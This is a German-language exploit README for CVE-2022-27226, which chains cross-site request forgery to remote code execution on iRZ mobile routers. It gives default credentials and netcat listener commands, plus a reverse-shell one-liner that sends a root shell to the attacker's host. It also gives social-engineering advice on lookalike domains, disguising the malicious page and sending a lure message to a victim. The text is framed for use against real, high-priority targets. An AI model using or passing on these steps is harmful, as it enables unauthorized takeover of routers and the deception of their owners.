
Exploit für CVE-2022-27226
Exploit für CVE-2022-27226
Cross-Site-Request-Forgery zu Remote Code Execution in iRZ Mobile Routern
<--Schwachstellenentdeckung-->
John Jackson
Chris Mack --- [https://github.com/0xHalcyon]
<--Exploit-Entwicklung-->
Stephen Chavez --- [https://github.com/redragonx/]
Robert Willis
Eine CSRF-Schwachstelle in iRZ Mobile Routern bis zum 16.03.2022 erlaubt es einem Bedrohungsakteur, einen Crontab-Eintrag im Router-Verwaltungsbereich zu erstellen. Der Cronjob führt den Eintrag folglich in dem vom Bedrohungsakteur festgelegten Intervall aus, was zu Remote Code Execution führt und es dem Bedrohungsakteur ermöglicht, Dateisystemzugriff zu erlangen. Wenn die Standard-Anmeldedaten des Routers nicht geändert wurden oder ein Bedrohungsakteur gültige Anmeldedaten entdeckt, kann Remote Code Execution zudem ohne Benutzerinteraktion erreicht werden.
Es ist wichtig, vor dem Versuch, eine Shell zu empfangen, zwei Netcat-Listener zu starten, da der Crontab beim Ausführen denselben Cronjob mehrfach wiederholt und Ihre Shell im nächsten Zyklus stirbt. Sie können nohup nicht verwenden, da die Busybox-Umgebung recht restriktiv ist. Alternativ könnten Sie den Exploit mit einem anderen Crontab-Intervall modifizieren, aber der beste Weg, dies zu umgehen, ohne sich um das Crontab-Intervall zu kümmern, ist die Verwendung mehrerer Listener für den ersten Reverse-Shell-Empfang.
Es wurde festgestellt, dass die Router in den meisten Fällen den Telnet-Port nicht extern geöffnet haben – sobald Sie jedoch Remote Code Execution erlangt haben, können Sie Telnet nutzen, um das TTY größtenteils zu reparieren. Dazu benötigen Sie Anmeldedaten. Wenn Sie die vollständige CSRF-zu-RCE-Kette verwenden, empfehlen wir, eine umfassendere CSRF-PoC-Vorlage zu erstellen, die das Login-Ereignis des Benutzers oder die Header aufzeichnet, die den Basic-Authorization-Header enthalten könnten, der im Skript übersetzt wird.
Die Standard-Anmeldedaten für diese Router sind normalerweise root:root oder admin:admin. Wenn Sie Anmeldedaten haben, führen Sie Folgendes aus:
python cve.py
Befolgen Sie die Anweisungen, die recht einfach sind, und starten Sie dann zwei Netcat-Listener auf zwei getrennten Ports.
nc -lvp 443
nc -lvp 5000
Wenn Sie in dem ersten Listener eine Reverse Shell empfangen, führen Sie den Reverse-Shell-Einzeiler erneut aus, um eine persistente Shell zu erhalten:
rm /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc {lhost_ip} {second_nc_listener_port} >/tmp/f
Versuchen Sie schließlich, falls Sie Anmeldedaten haben (was Sie haben sollten, wenn Sie diesen Teil des Moduls verwenden), einen Pivot zum intern eingeschränkten Telnet-Dienst durchzuführen:
telnet 0.0.0.0
„Aber was, wenn Telnet extern offen ist?“ Dann loggen Sie sich verdammt nochmal mit den Anmeldedaten am Router ein, Dummkopf.
Die Anweisungen für dieses Modul sind fast identisch mit denen für Post-Auth-RCE. Der wesentliche Unterschied besteht darin, dass Sie keine Anmeldedaten haben.
Zunächst einmal müssen Sie verstehen, wie das funktioniert, um effizient ausnutzen zu können. CSRF erfordert Benutzerinteraktion, das heißt, Sie müssen jemanden per Social Engineering manipulieren. Es gibt zwei mögliche Szenarien: Der Benutzer ist angemeldet, wenn er auf den Proof-of-Concept-Button klickt, oder der Benutzer ist nicht angemeldet. Wenn der Benutzer bereits am Router authentifiziert ist, wird die POST-Anfrage zum Erstellen des Cronjobs an die API gesendet und der Benutzer sieht eine leere Seite. Wenn er nicht angemeldet ist, erhält der Benutzer eine Basic-Authentication-Aufforderung – und praktischerweise enthält das Basic-Auth-Popup die IP des Opfer-Routers. Wenn er seine Anmeldedaten eingibt, wird die POST-Anfrage an die API gesendet.
Wir empfehlen, zu versuchen, eine ähnliche Domain zu kaufen, wenn der Opfer-Router auf einer Subdomain gehostet wird, oder einen Anbieter mit denselben Subnetzbereichen für Server zu finden, falls es sich um ein hochprioritäres Ziel handelt. Die Verfeinerung der CSRF-PoC könnte sich für ein prioritäres Ziel lohnen.
Führen Sie das Skript aus:
python cve.py
Befolgen Sie die Anweisungen; das Skript generiert dann eine CSRF-Vorlage für Sie. Wir empfehlen, ihr einen etwas unauffälligeren Namen zu geben.
mv poc.new.html index.html
Hosten Sie die PoC auf Ihrem Server, vorzugsweise auf demselben Port wie der Opfer-Router.
python3 -m http.server 80
Nehmen Sie den Link und senden Sie ihn an das Opfer. Stellen Sie sicher, dass Sie den Namen der PoC-Datei an das Ende der URL anhängen:
Hallo Schatz, kannst du dich bitte beim Router anmelden:
http://your-ip-in-the-united-states-bcuz-you-didnt-take-my-advice/index.html